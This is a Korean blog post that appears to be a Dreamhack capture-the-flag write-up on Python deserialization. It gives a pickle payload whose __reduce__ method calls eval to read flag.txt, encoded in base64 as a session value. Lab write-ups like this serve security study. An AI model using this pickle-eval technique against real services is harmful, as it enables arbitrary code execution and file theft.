본문 바로가기

모의해킹/Dreamhack

web-deserialize-python [WEB LEVEL1]

728x90

문제 정보

Serialization : Object 또는 Data의 상태 또는 타입을 특정한 형태의 포맷을 가진 데이터로 변환하는 것

Deserialize : 직렬화된 데이터를 원래의 Object 또는 Data의 상태 또는 타입으로 되돌리는 것

**직렬화 하는 이유 : 데이터를 파일에 저장하거나 네트워크를 통해 바이트 형태로 변환한 후 전송을 하기 위해서

 

문제 풀이

로컬에서 pickle 모듈을 사용해 세션을 만든다. 세션을 체크하면 만든 세션의 정보를 확인할 수 있다.

즉, 그러면 .flag.txt 파일을 읽는 세션을 만들면 문제을 풀 수 있을 거이다.

import pickle, base64
info={'name':'test', 'userid':'test', 'password':'test'}
data = base64.b64encode(pickle.dumps(info)).decode('utf8')
print(data)

 

문제 풀이

세션을 체크하면 flag 값을 확인할 수 있다.

import pickle, base64

class test:
    def __reduce__(self):
        p="open('./flag.txt').read()"   #파일 읽기 
        return (eval,(p,))
 
rs={'name':test()}
 
print(base64.b64encode(pickle.dumps(rs)).decode('utf8'))  #직렬화 작업

 

728x90

'모의해킹 > Dreamhack' 카테고리의 다른 글

sql injectuon bypass WAF [WEB LEVEL1]  (0) 2023.04.17
file-csp-1 [WEB LEVEL1]  (0) 2023.04.17
error based sql injection [WEB LEVEL1]  (0) 2023.04.17
blind sql injection advanced [WEB LEVEL1]  (0) 2023.04.14
XSS Filtering Bypass [WEB LEVEL1]  (0) 2023.04.13